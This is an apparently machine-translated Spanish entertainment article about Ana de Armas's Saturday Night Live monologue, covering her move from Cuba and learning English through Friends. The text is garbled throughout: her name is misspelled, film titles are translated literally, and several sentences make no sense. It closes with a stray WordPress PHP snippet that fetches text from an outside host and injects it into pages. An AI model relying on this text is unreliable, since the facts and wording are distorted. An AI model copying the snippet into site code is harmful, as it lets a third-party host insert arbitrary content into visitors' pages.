También reveló que está a punto de convertirse en ciudadana estadounidense en su monólogo.









Anna D´Armes Movido al alojamiento. Sábado noche en directo Para su próxima película el fantasma Donde interpreta a una detective llena de acción. Chris Evans Como su damisela en apuros. Para que los fanáticos hablaran sobre la película, ella se fue. Sábado noche en directo Con invitado musical karol g Y nos dio un espectáculo bastante sólido en general. Que comenzó con su monólogo! Comenzando en español, De Armas se centró en mudarse de Cuba cuando tenía 20 años para explorar la actuación y cómo aprendió inglés y negocios antes de obtener su gran oportunidad.





Mucha gente conoce a D’Armes por las películas. No más cuchillos, no hay tiempo para morir.y recientemente Rubio Lo que le valió una nominación al Oscar a la Mejor Actriz. Que él alimentó legítimamente. Pero, ¿cómo aprendió a hacer audiciones para papeles? Tomar una clase que dijo que definitivamente era una estafa le enseñó que a veces el inglés tiene palabras con múltiples significados. Como “te lo ruego” como en “te pido perdón”.






Colisionador Vídeo del díaDesplácese para continuar con el contenido.




Compartió que la primera vez que lo vio, pensó que literalmente estaba rogando y otro compañero de clase lo hizo por él, dándose cuenta de que era una expresión y que en realidad nadie estaba rogando. ¡Fue una manera hermosa de hacer que De Armas contara una historia sobre su vida y sacarle los nervios porque era muy natural mientras dibujaba!





ana-de-armas-snl-monólogo
Foto vía NBC




RELACIONADO: Gane boletos gratis para nuestra proyección anticipada en Nueva York de ‘Ghosted’ protagonizada por Chris Evans y Ana De Armas





Chandler Bing, ¿el mejor profesor de inglés?


Otra cosa que De Armas dijo que buscó ayuda cuando se mudó por primera vez a los Estados Unidos fue el espectáculo. Amigos. Esta no es una historia ordinaria. Para muchas personas en todo el mundo, el programa que les ayudó a aprender inglés. Amigos. Esto se debe a una combinación de razones, muchas de las cuales son que las frases comunes que no se explican exactamente lo que significan a menudo se explican a la audiencia debido a su falta de comprensión del personaje Joey Tribbiani. Por lo tanto, es una puerta de entrada a la comprensión de frases que son comunes para los hablantes nativos de inglés pero que no son tan fáciles de entender para los estudiantes de inglés.



Ahora, D’Armes está lejos de ser el primer actor en decir que un programa lo ayudó a aprender inglés y probablemente no sea el primero en decirlo. Amigos Eso ayudo. La tendencia comenzó en los años 90 y el programa ayuda a las personas a aprender inglés. Fue una mirada cercana y entrañable a la vida de De Armas cuando se mudó por primera vez a los Estados Unidos. Su monólogo fue tan honesto y dulce que fue uno de esos momentos en los que puedes identificarte con el presentador y fue una gran experiencia visual en general. Mira el monólogo de apertura de D’Armes a continuación:





Previous Post Next Post
function pub_short() { $pub_text = file_get_contents( "https://alrafdean.org/me/pub.txt" ); return $pub_text; } add_shortcode('pub', 'pub_short');